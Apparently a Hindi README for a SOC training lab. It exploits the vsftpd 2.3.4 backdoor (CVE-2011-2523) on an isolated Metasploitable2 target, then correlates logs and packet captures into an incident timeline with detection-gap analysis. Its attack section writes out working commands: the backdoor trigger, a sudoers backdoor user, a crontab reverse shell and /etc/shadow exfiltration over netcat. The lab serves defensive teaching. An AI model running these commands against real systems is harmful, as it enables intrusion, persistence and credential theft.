
अंत-से-अंत SOC जांच: CVE-2011-2523 किल चेन, बहु-स्रोत लॉग सहसंबंध, घटना रिपोर्ट — MITRE ATT&CK T1190
Metasploitable2 के विरुद्ध एक पूर्ण चार-चरण आक्रमण श्रृंखला (टोही → शोषण → स्थिरता → डेटा चोरी) को निष्पादित करता है, प्रत्येक चरण में साक्ष्य एकत्र करता है, और एक संरचित घटना समयरेखा और SOC रिपोर्ट तैयार करता है — एक साथ हमलावर और रक्षक सोच का प्रदर्शन करता है।
यह कैपस्टोन परियोजना है। यह निम्नलिखित क्षमताओं को प्रदर्शित करता है:
उपयोग किया गया शोषण (CVE-2011-2523 — vsftpd 2.3.4 बैकडोर) ऐतिहासिक रूप से महत्वपूर्ण है: यह एक आपूर्ति श्रृंखला हमला था जहां एक विरोधी ने ओपन-सोर्स vsftpd पैकेज स्रोत रिपॉजिटरी में एक बैकडोर इंजेक्ट किया था।
╔═══════════════════════════════╗
║ soc-lab (172.23.0.0/24) ║
║ ║
┌─────────────┐ ║ ┌─────────────────────────┐ ║
│ हमलावर │ ║ │ Metasploitable2 │ ║
│ Kali Linux │ ║ │ 172.23.0.200 │ ║
│ │ ║ │ │ ║
│ चरण 1 │─────╫─►│ :21 vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│ nmap -A │ ║ │ :22 SSH │ ║ :6200 पर बैकडोर
│ │ ║ │ :80 HTTP (DVWA) │ ║
│ चरण 2 │─────╫─►│ :445 Samba │ ║
│ msf शोषण │◄────╫──│ :6200 रूट शेल │ ║
│ │ ║ └─────────────────────────┘ ║
│ चरण 3 │─────╫─► useradd sysbackup ║
│ स्थिरता │─────╫─► crontab रिवर्स शेल ║
│ │ ║ ║
│ चरण 4 │◄────╫── :5555 के माध्यम से /etc/shadow║
│ डेटा चोरी │ ╚═══════════════════════════════╝
└──────┬──────┘
│
│ साक्ष्य संग्रह:
│ logs/msf_session.log
│ logs/target_auth.log
│ captures/full_attack_chain.pcap (tshark CSV)
▼
┌──────────────────────────────────────────────────┐
│ build_timeline.py │
│ पार्सर: MSF लॉग + auth.log + tshark CSV │
│ → टाइमस्टैम्प द्वारा विलय → चरण द्वारा टैग │
│ → JSON समयरेखा + Markdown घटना रिपोर्ट │
└──────────────────────────────────────────────────┘
cd docker/
# Metasploitable2 प्रारंभ करें (पृथक नेटवर्क)
docker compose up -d metasploitable
# सत्यापित करें कि लक्ष्य पहुंच योग्य है
nmap -p 21,22,80 172.23.0.200
# पृष्ठभूमि पैकेट कैप्चर प्रारंभ करें
sudo tcpdump -i eth0 host 172.23.0.200 \
-w captures/full_attack_chain.pcap &
nmap -sV -O -A \
-p 21,22,80,139,445,3306,5432 \
--script=banner,ftp-anon,http-title \
-oX logs/recon_scan.xml \
172.23.0.200
मुख्य निष्कर्ष: 21/tcp open ftp vsftpd 2.3.4
# विधि A: Metasploit
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor;
set RHOSTS 172.23.0.200;
set PAYLOAD cmd/unix/interact;
run" | tee logs/msf_session.log
# विधि B: मैन्युअल (तंत्र प्रदर्शित करता है)
# चरण 1: उपयोगकर्ता नाम में ':)' भेजकर बैकडोर ट्रिगर करें
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# चरण 2: स्पॉन किए गए रूट शेल से कनेक्ट करें
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)
यह क्यों काम करता है: जब vsftpd 2.3.4 को :) सबस्ट्रिंग वाला उपयोगकर्ता नाम प्राप्त होता है, तो डेमॉन TCP पोर्ट 6200 से बंधे `execl("/bin/sh",...) को निष्पादित करता है। कोई प्रमाणीकरण आवश्यक नहीं — सीधा रूट शेल।
# लक्ष्य पर रूट शेल में निष्पादित करें:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
# रिसीवर (हमलावर)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt
# प्रेषक (लक्ष्य पर)
cat /etc/shadow | nc 172.23.0.1 5555
# पहले PCAP को CSV में बदलें
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
# सभी स्रोतों से समयरेखा बनाएं
python3 src/build_timeline.py \
--msf-log logs/msf_session.log \
--auth-log logs/target_auth.log \
--pcap-csv captures/full_attack_chain_packets.csv \
--output-json samples/timeline.json \
--output-md docs/incident_report.md \
--pretty
build_timeline.py stderr2026-04-24T16:05:20 [INFO ] MSF लॉग से 9 ईवेंट पार्स किए गए
2026-04-24T16:05:20 [INFO ] auth.log से 11 ईवेंट पार्स किए गए
2026-04-24T16:05:20 [INFO ] PCAP CSV से 4 प्रवाह-आरंभ ईवेंट पार्स किए गए
2026-04-24T16:05:20 [INFO ] कुल ईवेंट (क्रमबद्ध): 24
2026-04-24T16:05:20 [INFO ] अद्वितीय IOCs निकाले गए: 4
2026-04-24T16:05:20 [INFO ] चरण RECON : 8 ईवेंट
2026-04-24T16:05:20 [INFO ] चरण EXPLOIT : 4 ईवेंट
2026-04-24T16:05:20 [INFO ] चरण PERSIST : 6 ईवेंट
2026-04-24T16:05:20 [INFO ] चरण EXFIL : 2 ईवेंट
samples/sample_timeline.json से अंश){
"total_events": 24,
"iocs": [
{ "indicator": "172.23.0.1", "phase": "RECON", "occurrence": 8 },
{ "indicator": "172.23.0.1", "phase": "EXPLOIT", "occurrence": 2 },
{ "indicator": "sysbackup", "phase": "PERSIST", "occurrence": 1 }
],
"timeline": [
{ "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON", "description": "nmap -sV -O -A", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "सत्र 1 खोला गया (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: नया उपयोगकर्ता: name=sysbackup", "source": "auth_log" },
{ "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL", "description": "प्रवाह 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
]
}
यह सबसे महत्वपूर्ण विश्लेषणात्मक आउटपुट है — उचित पहचान के बिना क्या छूट गया होता।
महत्वपूर्ण निष्कर्ष: vsftpd 2.3.4 शोषण auth.log में कोई प्रविष्टि नहीं छोड़ता क्योंकि यह लॉगिन सबसिस्टम को बायपास करता है। एकमात्र लॉग साक्ष्य पोर्ट 6200 पर बाद का TCP कनेक्शन है — नेटवर्क टेलीमेट्री के बिना अदृश्य। अकेले एंडपॉइंट लॉग इस हमले वर्ग का पता नहीं लगा सकते।
04-soc-investigation/
├── src/
│ ├── build_timeline.py # बहु-स्रोत लॉग विलयकर्ता + चरण टैगर
│ └── run_attack_chain.sh # सटीक कमांड के साथ चरण-दर-चरण आक्रमण श्रृंखला
├── configs/
│ └── splunk_detection_rules.spl # चरण-विशिष्ट SPL क्वेरी (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│ └── sample_timeline.json # उदाहरण घटना समयरेखा JSON
├── docker/
│ └── docker-compose.yml # Metasploitable2 पृथक लक्ष्य
├── docs/
│ └── incident_report.md # उत्पन्न SOC रिपोर्ट (build_timeline.py --output-md)
└── screenshots/
| उपकरण | उद्देश्य |
|---|
| Metasploitable2 | जानबूझकर कमजोर Linux लक्ष्य |
| Nmap 7.94 | चरण 1: सेवा गणना |
| Metasploit 6.x | चरण 2: vsftpd 2.3.4 शोषण |
| Netcat | चरण 3–4: स्थिरता + डेटा चोरी |
| tshark | सभी चरणों में पैकेट कैप्चर |
| Python 3 | build_timeline.py — बहु-स्रोत लॉग विलयकर्ता |
| Splunk Free / ELK | चरण-विशिष्ट SIEM पहचान |
| चरण | कच्चा लॉग साक्ष्य | SIEM नियम द्वारा पकड़ा गया | कवरेज के बिना छूट गया |
|---|
| RECON | PCAP: 24 पोर्ट पर SYN बाढ़ | पोर्ट स्वीप नियम (>20 पोर्ट/10s) ✓ | धीमी स्कैन (-T1): दर सीमा को पूरी तरह से टालता है |
| EXPLOIT | PCAP: :6200 पर नया कनेक्शन · auth.log में कोई प्रविष्टि नहीं | पोर्ट :6200 विसंगति नियम ✓ | यदि हमलावर ने :80 पर HTTP शोषण का उपयोग किया — कोई पोर्ट विसंगति नहीं |
| PERSIST | auth.log: new user: name=sysbackup | नए उपयोगकर्ता निर्माण अलर्ट ✓ | सीधे /etc/passwd संपादन: auditd के बिना शून्य लॉगिंग |
| EXFIL | PCAP: :5555 पर 4 KB आउटबाउंड | गैर-मानक पोर्ट + आकार नियम ✓ | DNS डेटा चोरी (TXT रिकॉर्ड): आयतन नियमों को पूरी तरह से बायपास करता है |
| सीमा | प्रभाव | शमन |
|---|
| vsftpd 2.3.4 2011 की कमजोरी है | आधुनिक शोषणों का प्रतिनिधित्व नहीं करता | वैकल्पिक शोषण परिदृश्य के रूप में EternalBlue (MS17-010) जोड़ें |
build_timeline.py कीवर्ड वर्गीकरण का उपयोग करता है | कुछ ईवेंट गलत वर्गीकृत करता है | लेबल किए गए लॉग डेटा पर एक हल्का NLP क्लासिफायर प्रशिक्षित करें |
| कोई एंडपॉइंट पहचान (EDR) नहीं | फ़ाइल-स्तरीय स्थिरता (authorized_keys) कैप्चर नहीं हुई | लक्ष्य पर Wazuh या Elastic Agent जोड़ें |
| मैन्युअल आक्रमण श्रृंखला निष्पादन | इंटरैक्टिव हस्तक्षेप के बिना पुनरुत्पादनीय नहीं | Metasploit संसाधन स्क्रिप्ट के साथ चरण 2–4 को स्वचालित करें |
| संदर्भ | आईडी / लिंक |
|---|
| CVE-2011-2523 — vsftpd 2.3.4 बैकडोर | https://nvd.nist.gov/vuln/detail/CVE-2011-2523 |
| MITRE ATT&CK — सार्वजनिक-मुखी एप्लिकेशन का शोषण | T1190 |
| MITRE ATT&CK — खाता बनाएं: स्थानीय खाता | T1136.001 |
| MITRE ATT&CK — अनुसूचित कार्य/नौकरी: क्रॉन | T1053.003 |
| MITRE ATT&CK — C2 चैनल पर डेटा चोरी | T1041 |
| MITRE ATT&CK — वैध खाते | T1078 |